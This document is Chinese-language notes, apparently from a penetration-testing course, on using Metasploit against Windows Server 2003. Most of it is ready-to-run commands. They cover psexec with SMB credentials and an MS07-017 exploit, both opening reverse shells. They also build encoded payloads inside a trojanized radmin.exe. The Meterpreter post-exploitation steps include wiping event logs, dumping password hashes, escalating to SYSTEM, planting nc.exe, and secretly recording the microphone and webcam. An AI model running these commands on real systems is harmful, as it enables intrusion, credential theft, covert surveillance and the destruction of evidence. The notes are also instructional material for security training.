Exploit
以下两个用winserver2003测试成功。
Active expolit
- use exploit/windows/smb/psexec
- set RHOST 1.1.1.14
- set PAYLOAD windows/shell/reverse_tcp
- set LHOST 1.1.1.10set LPORT 4444
- set SMBUSER user1
- set SMBPASS pass1
- exploit
Passive exploit
- search ms07_017
- use 0
- set payload windows/shell/reverse_tcp
- set servhost 1.1.1.10
- set lhost 1.1.1.10
- set lport 4444
- exploit
Payload
use payload/windows/shell_bind_tcp
generate(生成的payload含有坏字符)
- generate -b ‘\x00’
- generate -b ‘\x00\x02\x44’
- 会自动选择最优的encoder
手动指定编码模块
- show encoders
- generate -e x86/nonalpha
- generate -b ‘\x00\xff’ -t exe -e x86/shikata_ga_nai -i 5 -k -x /usr/share/windows-binaries/radmin.exe -f /root/1.exe
NOP:no-operation/Next Operation(无任何操作)
- EiP返回到存储NOP sled的任意地址时将递增,最终导致shellcode执行
- generate -s 14(payload前面的NOP的长度)
-t
-f 选择payload的语言。
Meterpreter
高级、动态、可拓展的Payload
- 基于meterpreter上下文,利用更多漏洞发起攻击
- 后渗透测试阶段一站式操作界面
完全基于内存的DLL注入式payload(不写硬盘)
- 注入合法系统进程,并建立stager
- 基于Stager上传和预加载DLL进行拓展模块的注入(客户端API)
- 基于stager建立的socket连接建立加密的TLS/1.0通信隧道
- 利用TLS隧道进一步加载后续拓展模块(避免网络取证)
服务端使用C语言编写
客户端(运行在被渗透的机器)提供基于ruby的全特性API(支持任何语言)
基本命令
用meterpreter的payload获取到目标shel后,sessions -i 进入meterpreter的命令界面。help查看帮助。
background退出当前session
一些基本命令可以使用(即便在windows操作系统)
- cd、ls、cat、pwd、dir、mkdir、mv、rm、rmdir、edit
- lpwd、lcd、lls(在命令前加l,就是在本机执行命令)
run、bgrun(跑一些脚本)
clearev 清除日志(windows事件日志查看器)
download(默认下载到/tmp)
upload /usr/share/windows-binaries/nc.exe c:\windows\system32
getuid、getsystem(切换为system用户)、getprivs、getproxy、
getpid(查看当前session注入的进程)、ps查看所有进程,migrate(把自己迁移到其它进程)
hashdump、sysinfo
show_mount、search
arp、netstat、route
idletime、resourece、
record_mic、webcam_list、webcam_snap -i 1 -v false
python拓展
- load python
- python_execute”print(‘asdf’)”
- python_execute”import os;cd =os.getcwd()” -r cd
- python_import -f find.py
msfcli
编写脚本时便于引用
msfconsole -x “use xxx;set xx xxx;set xx xx;exploit”